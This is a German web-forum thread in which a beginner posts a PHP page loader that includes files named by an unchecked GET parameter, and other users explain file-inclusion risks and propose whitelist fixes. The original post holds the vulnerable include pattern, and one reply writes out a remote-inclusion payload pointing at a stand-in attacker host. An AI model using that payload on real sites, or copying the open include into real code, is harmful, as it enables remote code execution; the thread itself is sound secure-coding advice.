Ankündigung

Einklappen
Keine Ankündigung bisher.

Eure Tipps zur Sicherheit

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Eure Tipps zur Sicherheit

    Hey,

    ich habe mich ja nun entschlossen, PHP selbst zu nutzen für meine Templates
    seitdem ich den Artikel von Herrn Frank gelesen habe..

    http://www.bastian-frank.de/site/fro...t.php?idart=47

    Nächster Schritt für mein CMS ist die sicherheit..

    da ich denke da dies total unsicher ist..

    PHP-Code:
    if($_GET['section'] != "")
    {
    $filename $_GET['section'].".php";
    if(
    file_exists($filename))
    {
    include(
    $filename);
    }
    else
    {
    $content "Datei nicht gefunden";
    }
    }
    else
    {
    $filename 'content.php';
    if(
    file_exists($filename)){
    include(
    $filename);
    }

    wollte ich euch fragen, was ich da noch ändern könnte für mein kleines CMS

    Vielen dank für eure Tipps

    Der Flo
    What You See Is What You Get“

  • #2
    EIndrücken erleichtert das lesen von Code .

    Zweitens kann er jede Datei aufrufen, auch Config Datein... auch evt. geschüzte Verzeichnisse. Am besten du machst da eine Blackliste und überprüfst die URL.

    Kommentar


    • #3
      Moin!
      Du solltest zuerst prüfen, ob $_GET['section'] überhaupt gesetzt ist, wegen unschöner Notice-Fehler Dann hast du redundanten Code.
      PHP-Code:
      if(file_exists($filename)){
      include(
      $filename);

      So hast du im Moment nämlich auch keine Fehlerausgabe, wenn deine content.php nicht existiert.

      Zuguterletzt - und das ist wirklich wichtig - lässt du im Moment Zugriff auf jede PHP-Datei deines Systems zu (EDIT: und möglicherweise lässt sich auch Code von fremden Webseiten ausführen). Blacklists finde ich persönlich eher unschön, da man da leicht etwas vergessen kann und dadurch Sicherheitslücken schafft. Mein Vorschlag wäre, mit Whitelists zu arbeiten. Dafür schreibst du dir bspw. ein Array, in dem die Keys dein $_GET['section'] sind und die Values die PHP-Dateinamen. Schau dir auch mal das Template-System vom Php-Quakenet-Tutorial an: http://tut.php-quake.net/de/template.html Das ist wirklich gut gemacht, wird über eine zentrale Datei aufgerufen und trennt die Datenaufbereitung und die Darstellung sauber; kommt damit also dem MVC also auch relativ nahe.
      kannst du ja auch ganz ans Ende setzen.

      Kommentar


      • #4
        Man kann versuchen, ein Array mit den erlaubten Eingaben ins SPiel zu bringen:

        PHP-Code:
        $erlaubt = array('index','anmelden','info','impressum'); 
        und die über $_GET kommende Eingabe nur dann weiterzuverarbeiten, wenn der Parameter in diesem Array ist.

        Man kann die Positivliste aber auch über eine Switch-Konstruktion abbilden:

        PHP-Code:
        if ( isset($_GET['section']) {
            
        $section $_GET['section'];
        } else {
            
        $section '';
        }

        switch (
        $section) {

            case 
        'impressum':
                include 
        'impressum.php';
                break;
            case 
        'info':
                include 
        'info.php';
                break;
            case 
        'anmelden':
                include 
        'anmelden.php';
                break;
            case 
        'start':
            default:
                include 
        'start.php';
                break;

        [PHP]if ($var != 0) {
        $var = 0;
        }[/PHP]

        Kommentar


        • #5
          Zitat von CoKeSiDe Beitrag anzeigen
          ...Am besten du machst da eine Blackliste und überprüfst die URL.
          Noch besser Du machst ne Whitelist, bzw. das ganze über ID's o.ä.

          z.B:

          PHP-Code:
          $siteary = array(
              
          'home' => 'home.php',
              
          'bilder' => 'gallery.php'
          );

          // vorher muss natürlich noch sichergestellt werden, dass $_GET['section']
          // gesetzt ist, und auch das enthält was wir erwarten...
          include $siteary[$_GET['section']]; 
          Edit: ich bin eindeutig zu lahm...^^

          Kommentar


          • #6
            Zitat von CoKeSiDe Beitrag anzeigen
            EIndrücken erleichtert das lesen von Code .

            Zweitens kann er jede Datei aufrufen, auch Config Datein... auch evt. geschüzte Verzeichnisse. Am besten du machst da eine Blackliste und überprüfst die URL.
            Und ganz besonders nett, je nach Serverkonfiguration:
            Code:
            ?section=ftp://evil.example.net/hack
            Stell dir vor, was man dann mit einer Datei hack.php anstellen kann, die beliebigen PHP-Code enthält
            [IMG]https://g.twimg.com/twitter-bird-16x16.png[/IMG][URL="https://twitter.com/fschmengler"]@fschmengler[/URL] - [IMG]https://i.stack.imgur.com/qh235.png[/IMG][URL="https://stackoverflow.com/users/664108/fschmengler"]@fschmengler[/URL] - [IMG]http://i.imgur.com/ZEqflLv.png[/IMG] [URL="https://github.com/schmengler/"]@schmengler[/URL]
            [URL="http://www.schmengler-se.de/"]PHP Blog[/URL] - [URL="http://www.schmengler-se.de/magento-entwicklung/"]Magento Entwicklung[/URL] - [URL="http://www.css3d.net/"]CSS Ribbon Generator[/URL]

            Kommentar


            • #7
              Hier mein Vorschlag in Anlehnung an Wolla, aber etwas kürzer:
              PHP-Code:
              define('DEFAULT_PAGE','bla.php');  
              $erlaubt = array('index','anmelden','info','impressum');
              $section = isset($_GET['section']) ? $_GET['section'] : '';
              $filename in_array($section,$erlaubt) ?  $section.'.php' DEFAULT_PAGE
              [B]Es ist schon alles gesagt. Nur noch nicht von allen.[/B]

              Kommentar


              • #8
                oder noch kürzer :>
                PHP-Code:
                $erlaubt = array('index' => "index.php"'zack' => "zack.php");
                include (isset(
                $erlaubt[$_GET['section']])) ? $erlaubt[$_GET['section']] : "index.php" 
                du musst einfach nur logisch denken, dadurch erkennt man schon sehr viel

                Es können sich aber auch solche Lücken ergeben auf die man schwer kommt wie das hier:
                http://shiflett.org/blog/2005/dec/google-xss-example

                Kommentar


                • #9
                  Man kann sicher auch ein ganzes Browsergame in einer einzigen Zeile schreiben.

                  Diese Kompaktcodes werden spätestens bei 10 erlaubten Seiten unlesbar, weshalb ich persönlich die ausführliche Darstellung bevorzuge.

                  Und wenn der Controller auch noch Member-Seiten verwalten soll und man bei den GETs unterscheiden muss, ob der Benutzer eingeloggt ist oder nicht, spätestens dann schreibt man das wieder mehrzeilig um.
                  [PHP]if ($var != 0) {
                  $var = 0;
                  }[/PHP]

                  Kommentar


                  • #10
                    Zitat von Wolla Beitrag anzeigen
                    Man kann sicher auch ein ganzes Browsergame in einer einzigen Zeile schreiben.

                    Diese Kompaktcodes werden spätestens bei 10 erlaubten Seiten unlesbar, weshalb ich persönlich die ausführliche Darstellung bevorzuge.

                    Und wenn der Controller auch noch Member-Seiten verwalten soll und man bei den GETs unterscheiden muss, ob der Benutzer eingeloggt ist oder nicht, spätestens dann schreibt man das wieder mehrzeilig um.
                    na klar ich würde das auch niemals so benutzen.

                    Kommentar


                    • #11
                      Ich habe es damals mit einer XML-Whitelist und einer kleinen Klasse gemacht: Klick

                      Mittlerweile richtige ich mich nur noch nach dem Verhalten von PHP-Frameworks, die nach dem MVC-Prinzip arbeiten:

                      http://www.meineseite.de/shop/category/handy

                      "Shop" ist der Controller
                      "Category" die 'Action'
                      "Handy" der Parameter für die Action

                      Kommentar


                      • #12
                        Ich habe es damals mit einer XML-Whitelist und einer kleinen Klasse gemacht: Klick
                        Welchen gesonderten Wert soll denn diese monströse XML-Lösung haben? Habe manchmal den Eindruck, dass es mal eine Zeit gegeben hat, in der fast jeder unkritisch und zombiemäßig dem Spruch gefolgt ist: "Große Unternehmen setzen auf XML. Tun Sie es auch." Oder war das ein Übungsstück für die Schule, bei der es nicht so richtig auf ökonomische Werte ankam?
                        [B]Es ist schon alles gesagt. Nur noch nicht von allen.[/B]

                        Kommentar


                        • #13
                          PHP-Code:
                          <?php
                          //whitelist array mit erlaubten aufrufparametern
                          $arr_PagesWhiteList = array('profil','edit_profil','delete_profil');
                           
                          //initialisierung des GET Parameters
                          //somit schliest du notices aus
                          if(isset($_GET['page']) && $_GET['page'] !=""){
                           
                              
                          $str_Page htmlentities($_GET['page']);
                           
                          } else {
                           
                              
                          $str_Page '';
                          }
                              
                          //prüfung ob der übergebene parameter auch wirklich existent ist
                              //und somit als ungefährlich eingeschätzt werden kann
                           
                          if(!in_array($str_Page$arr_PagesWhiteList)){
                           
                              echo 
                          'Aufgerufene Seite existiert nicht!';
                           
                          } else {
                           
                              switch(
                          $str_Page){
                           
                                  case 
                          $str_Page:
                                      include(
                          $str_Page.'.php');
                                  break;
                           
                                  default:
                                      include(
                          'profil.php');
                              }
                          }
                          ?>
                          Das kannst du im Prinzip auch in eine Klasse packen die du dann mehrfach nutzen kannst und immer je nach Bereich andere Whitelist Arrays übergibst und so weiter.

                          Was auch noch wirklich ne wichtige Sache ist, rücke deinen Code bitte in Zukunft so ein das man den auch lesen kann, dass wird dir auch dann mal beim Debugging enorm helfen Fehler zu finden bzw. auch mal ausgrenzen zu können.

                          Gruß Litter
                          Aus dem Dynamo Lande kommen wir. Trinken immer reichlich kühles Bier. Und dann sind wir alle voll, die Stimmung ist so toll. Aus dem Dynamo Lande kommen wir.
                          [URL]http://www.lit-web.de[/URL]

                          Kommentar


                          • #14
                            Zitat von dsentker Beitrag anzeigen
                            Ich habe es damals mit einer XML-Whitelist und einer kleinen Klasse gemacht: Klick

                            Mittlerweile richtige ich mich nur noch nach dem Verhalten von PHP-Frameworks, die nach dem MVC-Prinzip arbeiten:


                            [url]http://www.meineseite.de/shop/category/handy[/url]

                            "Shop" ist der Controller
                            "Category" die 'Action'
                            "Handy" der Parameter für die Action
                            Wenn das deine Domain ist, dann funktioniert der Link nicht.
                            Wenn das nicht deine Domain ist, dann müllen solche Links den Errorlog der fremden Seite zu.
                            Für Demozwecke gibt es die Domain example.org.
                            [PHP]if ($var != 0) {
                            $var = 0;
                            }[/PHP]

                            Kommentar


                            • #15
                              Die Whitelist kann man sich auch schenken. Im einfachsten Fall definiert man sich ein separates Verzeichnis und überprüft, ob sich dort anhand des Übergabeparameters eine gleichnamige PHP-Datei befindet.
                              In diesem Verzeichnis haben Config-Files oder ähnliches natürlich nichts zu suchen. Ebenfalls muss natürlich auch Directory Traversal unterbunden werden.

                              Kommentar

                              Lädt...
                              X